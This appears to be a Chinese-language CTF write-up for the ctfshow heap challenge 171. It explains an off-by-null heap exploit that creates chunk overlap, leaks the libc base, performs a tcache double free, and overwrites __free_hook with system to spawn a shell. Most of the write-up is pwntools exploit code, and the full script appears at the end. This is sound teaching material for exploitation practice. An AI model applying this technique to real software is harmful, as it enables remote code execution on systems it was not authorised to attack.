引言
这题还是来自ctfshow上面的堆利用题目-171。不算特别难,但是因为他是高版本+ctfshow给的wp太复杂,所以我来写写我的思路。
思路
利用off-by-one实现堆向前重叠,在通过不断割掉unsortbins里面的chunk块达到泄露libc基地址,后面来利用前面的堆重叠来实现doule free将chunk申请到__free_hook上面将其修改为system,最后getshell。
分析
保护全开
main函数,经典菜单题,没有edit函数。感觉基本上漏洞点肯定在add()函数里面
delete函数,指针置0了没有uaf
add函数,存在off-by-null,而且只给申请15个chunk
结合exp分析
先把tcache填满,申请的大小必须大于0xf0,因为off-by-null会将低位修改为0,如果你是0x90就会变成0x00
for i in range(7):
add(0xf0,i,'AAAA')
add(0xf0,7,'B')
add(0x18,8,'B')
add(0xf0,9,'B')
add(0x28,10,'B')
for i in range(7):
delete(i)
把序号为8的chunk的pre_size位修改为0x100,同时序号为7的chunk进入到unsortbins里面(此时需要将其的fd和bk指针给到序号为8的chunk),制造假chunk头,0x120为前面序号为7和8的chunk大小和
delete(7)
delete(8)
add(0x18,8,b'a'*0x10 + p64(0x120))#制造假chunk头,0x120为前面序号为7和8的chunk大小和,把序
号为9的chunk的pre_size位修改为0x100
此时的内存对应的chunk序号为8
堆重叠,此时合并序号为7,8,9的chunk进入到unsortbins里面(但其实序号为8的chunk根本没有free,可供我们利用),大小为0x220,两次申请特殊大小的chunk,从unsortbins里面分割出来chunk其大小为序号为7的chunk,这样就可以将其fd和bk指针给到0x55c0a9334a60处。为什么不直接申请0xf0,因为直接申请bins会将tcache里面的chunk给你。包括第二个chunk的size为0x20,这是为后面doule free做准备。本人也是无意之间做到的,实属运气加成了。
delete(9)#堆向前合并掉序号为8的chunk
add(0xc0,7,'B')#这两个chunk的大小加起来正好等于序号为7的chunk
add(0x20,9,'B')#此chunk的大小必须为属于序号为8的chunk的大小
show序号为8的chunk就可以得到unsortbins_addr,
show(8)
leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info(f"leak_addr = {hex(leak_addr)}")
__malloc_hook = leak_addr - 0x60-0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
log.info(f"libc_base = {hex(libc_base)}")
fake_chunk = __malloc_hook -0x23
free_hook = libc_base + libc.sym['__free_hook']
log.info(f"free_hook = {hex(free_hook)}")
system = libc_base + libc.sym['system']
log.info(f"system = {hex(system)}")
日志结果
此时想办法将free_hook修改为system。将堆重叠的那块区域给申请出来。这样就可以构成double free
add(0x18,11,'a')#分割unsortbins的大小。其实是为了让序号为8的那块chunk归我所用
delete(8)
delete(11)#double free
查看bins,可以看到大小为0x20的形成了双链结构
最后就是正常的步骤
add(0x8,8,p64(free_hook))#将其的fd指针指向free_hook
add(0x18,11,'/bin/sh\x00')#将0x55cd056ba60的chunk申请掉
add(0x18,12,p64(system))#将__free_hook修改为system的地址
delete(11)
最后getshell
最后完整的exp
def add(size,index,name):
io.sendlineafter('Your Choice:','1')
io.sendlineafter('Index: ',str(index))
io.sendlineafter('Size: ',str(size))
io.sendafter('Content',name)
def delete(index):
io.sendlineafter('Your Choice:','2')
io.sendlineafter('Index:',str(index))
def show(index):
io.sendlineafter('Your Choice:','3')
io.sendlineafter('Index:',str(index))
for i in range(7):
add(0xf0,i,'AAAA')
add(0xf0,7,'B')#此chunk需要和前面的chunk大小保持一直
add(0x18,8,'B')
add(0xf0,9,'B')#此chunk的大小至少为0xf0,因为off-by-null会将低位修改为0。
add(0x28,10,'B')
for i in range(7):
delete(i)
delete(7)
delete(8)
add(0x18,8,b'a'*0x10 + p64(0x120))#制造假chunk头,0x120为前面序号为7和8的chunk大小和,把 序号为9的chunk的pre_size位修改为0x100
delete(9)#堆向前合并掉序号为8的chunk
add(0xc0,7,'B')#这两个chunk的大小加起来正好等于序号为7的chunk
add(0x20,9,'B')#此chunk的大小必须为属于序号为8的chunk的大小
show(8)
leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info(f"leak_addr = {hex(leak_addr)}")
__malloc_hook = leak_addr - 0x60-0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
log.info(f"libc_base = {hex(libc_base)}")
fake_chunk = __malloc_hook -0x23
free_hook = libc_base + libc.sym['__free_hook']
log.info(f"free_hook = {hex(free_hook)}")
system = libc_base + libc.sym['system']
log.info(f"system = {hex(system)}")
add(0x18,11,'a')#分割unsortbins的大小。其实是为了让序号为8的那块chunk归我所用
delete(8)
delete(11)#double free
add(0x8,8,p64(free_hook))#将其的fd指针指向free_hook
add(0x18,11,'/bin/sh\x00')#将0x55cd056ba60的chunk申请掉
add(0x18,12,p64(system))#将__free_hook修改为system的地址
delete(11)
exp()
io.interactive()